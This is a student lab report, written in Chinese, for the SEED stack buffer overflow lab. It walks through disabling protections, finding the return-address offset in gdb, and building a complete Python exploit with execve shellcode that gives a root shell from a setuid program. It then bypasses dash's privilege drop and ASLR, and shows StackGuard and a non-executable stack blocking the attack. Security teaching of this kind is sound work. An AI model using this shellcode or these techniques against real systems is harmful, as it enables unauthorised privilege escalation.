Lab2-Report

学号：57118131
姓名：王星沣

关闭应对措施

```
Terminal
[09/05/20]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_spa
ce=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~/Desktop$ sudo ln -sf /bin/zsh /bin/sh
[09/05/20]seed@VM:~/Desktop$
```

Task 1: Running Shellcode

使用 gcc -o task1 task1.c 编译程序并运行，发现系统会提示段错误

```
[09/04/20]seed@VM:~/Desktop$ gcc -o task1 task1.c
[09/04/20]seed@VM:~/Desktop$ task1
Segmentation fault
[09/04/20]seed@VM:~/Desktop$
```

使用 gcc -z execstack -o task1 task1.c 编译程序并执行，发现系统进入到了 shell 中。

```
[09/04/20]seed@VM:~/Desktop$  gcc -z execstack -o task1 task1.c
[09/04/20]seed@VM:~/Desktop$ task1
$
```

Task 2: Exploiting the Vulnerability

将代码复制到 stack.c 中，使用 gcc 编译，buf_size 不变，使其成为 root 所属得 setuid 程序

```
[09/05/20]seed@VM:~/Desktop$ gcc -o stack -z execstack -fno-stack-p
rotector stack.c
[09/05/20]seed@VM:~/Desktop$ sudo chown root stack
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/05/20]seed@VM:~/Desktop$
```

使用 gdb 对 stack 进行调试

```
[09/05/20]seed@VM:~/Desktop$ gcc -z execstack -fno-stack-protector
-g -o stack_dbg stack.c
[09/05/20]seed@VM:~/Desktop$ touch badfile
[09/05/20]seed@VM:~/Desktop$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
```

在函数位置确定一个断点并运行

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 17.
gdb-peda$ run
Starting program: /home/seed/Desktop/stack_dbg
```

找到 ebp 寄存器和 buffer 的值，并计算出二者之间的差值：32

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb48
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb28
```

```
gdb-peda$ p/d 0xbfffeb48-0xbfffeb28
$4 = 32
```

因此，return address 和 buffer 起点的差值为 36，在此基础上更改 exploit.py(这里选择了 python)，更改后代码如下，只需要更改 ret 和 offset 的值即可

exploit.py (~/Desktop) - gedit

Open Save

```python
#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
"\x00"
).encode("latin-1")
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
##################################################################
ret = 0xbfffeb48 + 80  # replace 0xAABBCCDD with the correct value
offset = 36 # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder="little")
##################################################################
# Write the content to badfile
with open('badfile', 'wb') as f:
        f.write(content)
```

执行代码，运行 stack，发现获取到了 root 权限

```
[09/05/20]seed@VM:~/Desktop$ python3 exploit.py
[09/05/20]seed@VM:~/Desktop$ stack
#
#
```

```
# id

uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(su
do),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 3: Defeating dash's Countermeasure

复制代码，在注释 setuid 的条件下编译并使之成为 root 拥有的 setuid 程序，运行，发现没有提权，系统将权限降低，取消注释后再次重复编译等操作，发现成功获得 root 权限。

```
Terminal
[09/05/20]seed@VM:~/Desktop$ gcc dash_shell_test.c -o dash_shell_te
st
[09/05/20]seed@VM:~/Desktop$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~/Desktop$ dash_shell_test
$ exit
[09/05/20]seed@VM:~/Desktop$ gcc dash_shell_test.c -o dash_shell_te
st
[09/05/20]seed@VM:~/Desktop$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~/Desktop$ dash_shell_test
#
```

未更改 shellcode 之前，栈溢出攻击失败，因为系统自动判断 euid 和 ruid 不相等，进而降权，导致无法获得权限

```
[09/05/20]seed@VM:~/Desktop$ python3 exploit.py
[09/05/20]seed@VM:~/Desktop$ stack
$
```

更改 shellcode 后运行程序并进行栈溢出攻击，发现可以获取权限，是因为在调用 execve 之前 setuid 使 ruid=0（root），使系统误判为 root 用户的使用，所以权限不会降级，获取到 root 权限

```
[09/05/20]seed@VM:~/Desktop$ python3 exploit.py
[09/05/20]seed@VM:~/Desktop$ stack
#
```

Task 4: Defeating Address Randomization

使用 sudo /sbin/sysctl -w kernel.randomize_va_space=2 命令启用地址随机化，复制代码并运行，进行暴力破解来获取 shell，如下为运行成功的截图，共运行 17 万次

```
Terminal
3 minutes and 32 seconds elapsed.
The program has been running 174195 times so far.
./bf.sh: line 13:  3734 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174196 times so far.
./bf.sh: line 13:  3735 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174197 times so far.
./bf.sh: line 13:  3736 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174198 times so far.
./bf.sh: line 13:  3737 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174199 times so far.
Firefox Web Browser 13:  3738 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174200 times so far.
./bf.sh: line 13:  3739 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174201 times so far.
./bf.sh: line 13:  3740 Segmentation fault      ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174202 times so far.
#
```

Task 5: Turn on the StackGuard Protection

开启栈保护（去除-fno-stack-protector 自动启用）的条件下重新编译运行，会发现系统会检测到栈被破坏，程序异常退出

```
Terminal
[09/05/20]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_spa
ce=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~/Desktop$ sudo ln -sf /bin/zsh /bin/sh
[09/05/20]seed@VM:~/Desktop$  gcc -o stack -z execstack stack.c
[09/05/20]seed@VM:~/Desktop$ sudo chown root stack
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/05/20]seed@VM:~/Desktop$ stack
*** stack smashing detected ***: stack terminated
Aborted
[09/05/20]seed@VM:~/Desktop$
```

Task 6: Turn on the Non-executable Stack Protection

启用 Non-executable Stack，编译运行程序发现出现了段错误，由于启用了栈不可执行使得 shellcode 不能在栈上运行导致失败。

```
[09/05/20]seed@VM:~/Desktop$ gcc -o stack -fno-stack-protector -z n
oexecstack stack.c
[09/05/20]seed@VM:~/Desktop$ sudo chown root stack
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/05/20]seed@VM:~/Desktop$ stack
Segmentation fault
[09/05/20]seed@VM:~/Desktop$
```